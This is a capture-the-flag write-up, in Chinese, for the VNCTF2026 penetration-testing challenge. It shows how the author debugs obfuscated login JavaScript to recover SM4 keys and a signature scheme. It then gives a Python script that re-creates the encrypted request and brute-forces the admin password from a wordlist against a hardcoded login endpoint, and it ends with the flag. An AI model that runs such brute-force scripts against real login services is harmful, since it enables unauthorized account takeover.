VNCTF2026_渗透测试

渗透测试

小弟第一次見到調試JS的題 , 學習一下

620b244e-5775-423f-be98-8c00ba6a1329.png

去BP看了下:

8ccdf898-5e6e-4cd4-bd52-6f6efd5e85e5.png 29fd3c15-2c12-42bf-87ad-b43ee7ab7cf1.png

一開始我以為是RSA, 但解出來是亂碼 , 看了看官方的wp才知道是需要进行js调试。

先下載一個新工具:AntiDebug Breaker

b2fb2206-35f1-43e3-bf48-a94015cf4fa0.png

这里用AntiDebug Breaker这个谷歌浏览器插件,hook一下对称加密和非对称加密:

7a77a95c-2295-4331-a80e-98f0ef3b3509.png 5bdf377f-d776-4d1f-bfe4-be4de987fd58.png f9edd182-0048-4d04-bb0b-7b8b9bedc681.png 852b8660-800b-4d19-9ae6-acd76531e9e0.png

看出n的作用是類似簽名作用 , 把是这一长串md5加密后的值

1
{"userName":"admin","passWord":"111","timeStamp":1770561617253,"TOKEN":"35150b18161d5a380e8bdfc8d2d8a00a"}|Infernity|{"key":"e37d522eae571440b0882d3ce7b094bc","iv":"85a624215b547bf96cd84b8166e81661"}

把「生成 TOKEN、生成 n、AES 加密」那段 JS 找出來

這是我第1次用js debug 先停用所有斷點 :
b40af904-9d10-42d6-b4a8-6fe6cafd1bad.png

在AntiDebug Breaker 來追蹤Call Stack 追到 1.js :

13611a04-6956-40d5-805b-dcc66d390f24.png 9d70dda9-16e5-4682-9f39-46a86309599f.png

找到了:

0e4ebe0a-f01d-4974-9469-f1ccb5e824c4.png

在這兩函數下一個斷點:發現有了 key 一堆東西出來了

fff3cfd9-7fe9-47e0-9e46-503e6138f717.png 32fb0c02-7dc7-4bdf-bcfa-45548ca86926.png

那_0x526ce3和_0x158a14被赋值的两行就是分别的加密函数了

在_0x526ce3的_0x51fd08找到了加密函數:

5ed2c191-86f1-4bf6-bd9c-69f1a269ac6f.png

sm4 , cbc , 追蹤變量 , 用cyberche驗證一下:

f7820400-21f7-44cd-8ba7-ae68327fc530.png 3c93ec66-4d72-4174-852c-b97b19d36525.png

_0x526ce3為加密後的變數,就是p , q 是_0x158a14

p = _0x526ce3 = d028143200e0b029b29e59ef512221be06091fc09fc118db83379e3010cdc1f574c1cf24299e3e3613a22565fcad6ae929eee2cd5a0299cc7b9d444125dda2301ef1e3cb5cd2b416f8790215692e410d04b10fc597a88cd48fb116d83388de7af4bd68baf42e20321609c150b364eb4c

q = _0x158a14 = afd7b140675010988079988230165d69da2c59a37483045db2419c622b491f575eb29f4b4b25c87526601d40f3be37bd4585f1da67a0fa2599a0a6964b7f5e9f1d3ed35fe18917f3fde07cd16fc3ce85284b5cad2a244daadbba9960f37735c2d40941d733e0ff87468e29d0c7efd76d5f2d8058e207f4b68b4da5a9b062100c15ffd3d4ddbf1af19a57f8f024bc97637ff552071a43afc90c692b46d1c3dbfb3bd496f7475c5e74238809fd76bec137c362

key = 531584a03814ffc5e2fe85705df7a480

iv = 505eb37344fbd234ce9142cb7ee4224a

所以是一個非对称加密加密对称加密密钥,用对称加密来加密业务数据,并附带时间戳、签名等防篡改,防重放的场景。签名就是n , p 是內容 , q是key和vi吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import base64
import hashlib
import json
import time
import uuid
import requests
from gmssl.sm4 import CryptSM4, SM4_ENCRYPT


def sm4_cbc_encrypt_hex(plaintext: bytes | str) -> str:
if isinstance(plaintext, str):
data = plaintext.encode("utf-8")
else:
data = plaintext

key = bytes.fromhex("531584a03814ffc5e2fe85705df7a480")
iv = bytes.fromhex("505eb37344fbd234ce9142cb7ee4224a")

crypt = CryptSM4()
crypt.set_key(key, SM4_ENCRYPT)

cipher = crypt.crypt_cbc(iv, data)
return cipher.hex()


if __name__ == "__main__":
with open("VNCTF2026/014202_passwords.txt", "r", encoding="utf-8") as f:
passwords = f.readlines()

sess = requests.Session()

fail_set = {
"Fq3QhwvtNysY8brIt0n1oQ==",
"5ow0Qvz2iE+uylTzDHYVww=="
}

for password in passwords:
business = {
"userName": "admin",
"passWord": password.strip(),
"timeStamp": int(time.time() * 1000),
"TOKEN": hashlib.md5(str(uuid.uuid4()).encode()).hexdigest()
}

business_str = json.dumps(business, separators=(",", ":"))

p = sm4_cbc_encrypt_hex(business_str)

q = "afd7b140675010988079988230165d69da2c59a37483045db2419c622b491f575eb29f4b4b25c87526601d40f3be37bd4585f1da67a0fa2599a0a6964b7f5e9f1d3ed35fe18917f3fde07cd16fc3ce85284b5cad2a244daadbba9960f37735c2d40941d733e0ff87468e29d0c7efd76d5f2d8058e207f4b68b4da5a9b062100c15ffd3d4ddbf1af19a57f8f024bc97637ff552071a43afc90c692b46d1c3dbfb3bd496f7475c5e74238809fd76bec137c362"

sign_str = business_str + "|Infernity|" + '{"key":"531584a03814ffc5e2fe85705df7a480","iv":"505eb37344fbd234ce9142cb7ee4224a"}'
n = hashlib.md5(sign_str.encode()).hexdigest()

json_data = {"p": p, "q": q, "n": n}
json_str = json.dumps(json_data)

body = base64.b64encode(json_str.encode()).decode()

res = sess.post("http://114.66.24.228:34313/login", data=body, timeout=3)


rt = res.text.strip()
pw = password.strip()
print(pw, "=>", rt)


if rt not in fail_set:
print("[+] FOUND:", pw)
print("[+] RESPONSE:", res.text)
break


9b375304-2b8b-4a36-a815-5284ca729393.png

flag:VNCTF{caf5129f-5844-4da6-b688-dc7d84a30075}